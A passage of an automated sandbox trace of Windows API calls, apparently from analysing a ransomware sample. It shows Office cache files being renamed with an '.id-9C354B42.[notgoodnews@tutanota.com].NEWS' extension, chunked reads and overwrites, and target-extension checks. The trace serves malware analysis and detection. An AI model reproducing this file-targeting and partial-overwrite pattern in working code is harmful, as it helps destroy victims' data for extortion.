users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.489] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0051.490] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0051.490] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0051.490] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.490] ReadFile (in: hFile=0x194, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.535] ReadFile (in: hFile=0x194, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.545] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.545] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0051.546] ReadFile (in: hFile=0x194, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.570] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.571] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0051.733] SetEndOfFile (hFile=0x194) returned 1 [0051.734] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3fa5898 [0051.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.741] WriteFile (in: hFile=0x194, lpBuffer=0x3fa5898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5898*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.743] WriteFile (in: hFile=0x194, lpBuffer=0x3fa5898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5898*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.010] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.010] WriteFile (in: hFile=0x194, lpBuffer=0x3fa5898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa5898*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.013] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5898 | out: hHeap=0x5c0000) returned 1 [0052.032] CloseHandle (hObject=0x194) returned 1 [0056.520] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0056.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.520] lstrlenW (lpString=".doc") returned 4 [0056.520] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.520] lstrlenW (lpString=".docx") returned 5 [0056.520] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0056.521] lstrlenW (lpString=".pdf") returned 4 [0056.521] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.521] lstrlenW (lpString=".xls") returned 4 [0056.521] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.521] lstrlenW (lpString=".xlsx") returned 5 [0056.521] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0056.521] lstrlenW (lpString=".ppt") returned 4 [0056.521] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.521] lstrlenW (lpString=".zip") returned 4 [0056.521] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.521] lstrlenW (lpString=".rar") returned 4 [0056.521] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.521] lstrlenW (lpString=".bz2") returned 4 [0056.521] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.521] lstrlenW (lpString=".7z") returned 3 [0056.521] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.521] lstrlenW (lpString=".dbf") returned 4 [0056.521] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.522] lstrlenW (lpString=".1cd") returned 4 [0056.522] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.522] lstrlenW (lpString=".jpg") returned 4 [0056.522] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.522] lstrlenW (lpString=".doc") returned 4 [0056.522] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.522] lstrlenW (lpString=".docx") returned 5 [0056.522] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0056.522] lstrlenW (lpString=".pdf") returned 4 [0056.522] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.522] lstrlenW (lpString=".xls") returned 4 [0056.522] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.522] lstrlenW (lpString=".xlsx") returned 5 [0056.522] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0056.523] lstrlenW (lpString=".ppt") returned 4 [0056.523] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.523] lstrlenW (lpString=".zip") returned 4 [0056.523] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.523] lstrlenW (lpString=".rar") returned 4 [0056.523] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.523] lstrlenW (lpString=".bz2") returned 4 [0056.523] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.523] lstrlenW (lpString=".7z") returned 3 [0056.523] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.523] lstrlenW (lpString=".dbf") returned 4 [0056.523] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.523] lstrlenW (lpString=".1cd") returned 4 [0056.523] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0056.523] lstrlenW (lpString=".jpg") returned 4 [0056.523] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.524] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0056.524] lstrlenW (lpString="Proof.cab") returned 9 [0056.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0056.600] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=13642474) returned 1 [0056.601] CloseHandle (hObject=0x194) returned 1 [0056.601] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0056.601] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.601] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0056.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0056.677] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0056.678] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.678] ReadFile (in: hFile=0x194, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.724] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.724] ReadFile (in: hFile=0x194, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.736] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.736] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x194, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.763] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.763] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0056.937] SetEndOfFile (hFile=0x194) returned 1 [0056.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f65878 [0056.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0056.945] WriteFile (in: hFile=0x194, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.946] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0056.947] WriteFile (in: hFile=0x194, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.948] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0056.948] WriteFile (in: hFile=0x194, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0056.951] CloseHandle (hObject=0x194) returned 1 [0061.947] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0061.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.948] lstrlenW (lpString=".doc") returned 4 [0061.948] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.948] lstrlenW (lpString=".docx") returned 5 [0061.948] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0061.948] lstrlenW (lpString=".pdf") returned 4 [0061.948] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.948] lstrlenW (lpString=".xls") returned 4 [0061.948] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.948] lstrlenW (lpString=".xlsx") returned 5 [0061.948] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0061.948] lstrlenW (lpString=".ppt") returned 4 [0061.948] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.948] lstrlenW (lpString=".zip") returned 4 [0061.948] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.949] lstrlenW (lpString=".rar") returned 4 [0061.949] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.949] lstrlenW (lpString=".bz2") returned 4 [0061.949] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.949] lstrlenW (lpString=".7z") returned 3 [0061.949] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.949] lstrlenW (lpString=".dbf") returned 4 [0061.949] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.949] lstrlenW (lpString=".1cd") returned 4 [0061.949] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.949] lstrlenW (lpString=".jpg") returned 4 [0061.949] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.949] lstrlenW (lpString=".doc") returned 4 [0061.949] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.949] lstrlenW (lpString=".docx") returned 5 [0061.949] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0061.949] lstrlenW (lpString=".pdf") returned 4 [0061.950] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString=".xls") returned 4 [0061.950] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString=".xlsx") returned 5 [0061.950] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0061.950] lstrlenW (lpString=".ppt") returned 4 [0061.950] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.950] lstrlenW (lpString=".zip") returned 4 [0061.950] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString=".rar") returned 4 [0061.950] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString=".bz2") returned 4 [0061.950] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.950] lstrlenW (lpString=".7z") returned 3 [0061.950] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.950] lstrlenW (lpString=".dbf") returned 4 [0061.950] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.950] lstrlenW (lpString=".1cd") returned 4 [0061.950] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0061.950] lstrlenW (lpString=".jpg") returned 4 [0061.951] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.951] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0061.951] lstrlenW (lpString="VisioLR.cab") returned 11 [0061.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.951] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=50823389) returned 1 [0061.951] CloseHandle (hObject=0x194) returned 1 [0061.951] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0061.952] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.952] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0061.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.953] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0061.953] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.953] ReadFile (in: hFile=0x194, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.719] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0062.719] ReadFile (in: hFile=0x194, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0062.828] ReadFile (in: hFile=0x194, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.850] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.850] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0063.293] SetEndOfFile (hFile=0x194) returned 1 [0063.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x40358b0 [0063.300] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.300] WriteFile (in: hFile=0x194, lpBuffer=0x40358b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40358b0*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.301] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.301] WriteFile (in: hFile=0x194, lpBuffer=0x40358b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40358b0*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.303] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0063.303] WriteFile (in: hFile=0x194, lpBuffer=0x40358b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40358b0*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.496] HeapFree (in: hHeap=0x5c0000, 